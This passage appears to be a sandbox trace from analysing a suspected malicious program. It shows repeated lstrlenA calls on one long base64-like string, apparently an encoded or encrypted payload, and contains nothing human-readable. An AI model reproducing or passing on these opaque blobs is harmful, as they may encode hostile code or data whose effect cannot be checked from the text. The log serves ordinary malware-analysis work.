FgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.630] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+KVdqxmFJUSgzefnKAkopFbcluxFXgozk2XKWNas7wqfKMWrt0IXEG2UhkLtrcd8p4JNBmNqsDijqc8ALYZwzFDKsVsrg5DzyIluyLMxG/TiakC/pBHkQ3RiZ5uvTydxtAD8n2yavcm0Kj5Fss82FGu+kBj35uhx4I7jDj20EwFB1Ph4M9k3/dFx0YXyk1S1gQrIGrnhCrb8U2+Y6YuqAXd/TbsXCLPz9ePTE+Lqet+H5JFdFbR/LgKR/IrZ2OCq8vHmPXkVd339xwOXS1LYNQ/jTiEw9ocs8XSfQiiF1lKyts17dW19MUzq2agefI4iBUvirUCPiXVKqgwmGHTfYJg3onDGZ9lzaQ1RMkYofNEg+olX5fvoOPf+IqVeOZsy/rodl5tiysKtgobARxKzixyeJxR+SpMjZcZWB542juT392bZxWTKtGybGXBkYhfLbJYtGZhTwVKm918Lbl4WHTx5nAxeuSpRATmqdBuNX/I8LPd0qeMmlCokyBRhNxYw8V4rBPQxlUDYvFC43eGey+eolIizMw2UpNe1K/hK6yaHl0PbqZLI4FBSppDbwXGbNvKyrby6gDVhdz529Co4/9gjezuRA5hzjEesWKRHwXz6Nkg1rXN2q+I5vEBk5Vm3/LxMMSqfDfZvOTjmXhZO6gf0Yt/OCBChNVb5tWNwHdXVyTigH+9xgQytSKJ9NMmu0XL5dodxhkGNjTJlgdmmHgj8eY9SNf16KdoCq84u6uF6t5NhQpd1YAZnH1000rYOtr8vbD8lJMF1Tb8DgYfpGXCTeuRfTzFIqC+SRLhxsr1q+ntzssL6Otm5WN0Q2QIHKtJEJC0ihG7wD2sMSpC8SJKsIsTfzgzNTgeuzotx89ITb5KiQJaoYYJk0J7rMAVc0StgpbC5gHdEY5cOSwNv8zCH7PYvqSx0sN+J/l/0t0ZpcObGamhpKOtmyTULxenkmvPyOyBi3wJy5daoq9rOiwRjJfeN++QSMU93IKGiylNe6dIBDzbhqm1XUqwrS8rX2KXau+EH9ypf1nh/NIP+FHq3d8O94qIZrpFYBIXLilFkN8QWDVfBEzi0rnA33zlQEjh1sedNVNKxtpDbjr2ij10KXhgm9agdN/WIUiRh2ZAyZC8DzvgQE0kQEk9T24OPDjZ00F1q5SSajlP7brLYPkmXDHGkwpoDcHZEz735QKoa4BSivimzbfyw6iUfoG5qzyvOcYgZoDdy8YdkEniwqV7D7pzWBuYqHJULHsL4RpjUKOEZLFiwevz6uitOs/eZ4ys+yHAdgpV1V4c1c2PnL9DhEGJMCBMkmwkAEZVUhOLVhnalPnwioekw/rf+QLO4I8/dORvBjgkieS1mKk5ekbhhX1CfbD7VTi8zPdRBQvXQQs8A4KGCylGG+2MCtJ4sTOHb/ViG1W5TPEZvi4s+kHQLE6YjPn0APfeIdP86NS1TFugv5h+g7oty4NDRb+WYteWsq4dXTA5gTAfhgrtW4tq/8wXBIj+qUVUbXtuUpeoW/VdBKmDWaWjvQWUaQmjjSp+qavLUb+NTWKAvXjD7xBStoHJ0rN/y1FYNCHxuLhq43rOC6k2QKhyN4A8crOYeXzGZUZ1slwHa63caXpSjrmmASG/V0Km+TBwO7lykEiBGaq7YXXgrwZI2nnt3O/VxoC5i4FJz+vDsKtZw8omqF2nwgBf3xM/l6rpEQUO8AYcOLFQt8r/yW/ikSouhKJ/+4wrD8y+eobJ2aERtJC5jBCsuM0VmoPhzHIeD2F6rZa2dQwgcYn73FlkjWXwB18uyFCTHMkCbvXVycBBM+QcB2RP89DWB96BsyInYy+DF1pjp0fhsiYgvxTAZjIEMbkfNY9cGALR19UbJLEkZe7Yil0deqNMaHMCDwCAxKwFYaauZfp27catSyvvs0Tey9P6BH2foj6Y088YmPaqA5Lsv2dvGyE09CN6Cn+pn8EybUhaH7/6iqTgubM7VsIb1AYNHuKrhTiUg+/fj8lmsNFR4mVfo8AHRSoBmn5FGaUVB46b8PyalJolBNElJB91ekBM3D8AsLEPHxMAbGc/nG9VIcSBOtKCKrxcuPHz/+bvav3V5kMpSPyc/sWbEx7MZiqwYimRkPbKitVtcj/N0CMbWtNTc7ISxvdCxAB8Bks7cZ1Xn7lmzQUxLwylQA4XMJXrwDHE5Zz2QFlxQ1fi5j/nrBWwnQIW85rfG49k5exqhlyQvfVIcoeiWuX2t869wj4ZLI0LO+WycAWIsBCB3HlAGf6xvPsRFArGcoANLPskqEMRwwScf19bIVKI9Phrfq+XEyHllSE1IfVMydxPX9sfRmXFLP4z6f5qZGTMc8e8cGwqAYSes4j5zawjYB0HETHpuwUi4QIJvve0OaJKd+w/KSObipMao2YbIVhUm9c9dnDyDmEcBWIPIlf1BE+cLR6nsqab3rP2E4uUaVtDlSnwDMk0bpidgrONLyWz2t78BreT1QFmHPiyytUXHRMkNmE7G/IlA7NHJldZptETcMq98GD/XmpliedFh3Vm1nPys1N63QdWz2u0ApfgYkNYQI1ZNRDBmRAo9cc/49Jkh6Na4knxVZIthDsC205K+qv1aqXJ6wZ9B3TiYhmGoIjsjlGeKF7nXbztIBEGGtp790iPZvb6hnurXNZaHbiuixr33SPO6yK6o+G/eGA+KeHmp4jm+NwBuL4P1hc2clVcHMLne0fe2Mi+uYSM2beBLczVL1AkgReqT0lUToaOjgIUGAswuOzlQagLxuxiYWkj4M5YkbOtsAY3DAT1q1b44cIvlVZz/fW6yfeaPR1nPj0vJ653chI+qoKnh9h4NGN1gOvH7z9Gvao+Z2YCIfPXCT3Oq5uB/gUNIfWtxXsBntxUcRPONWpADjWWTjhqO6xPN9mcRCh6LSbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.630] lstrlenA (lpString="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") returned 5820
	[0084.630] lstrlenA (lpString="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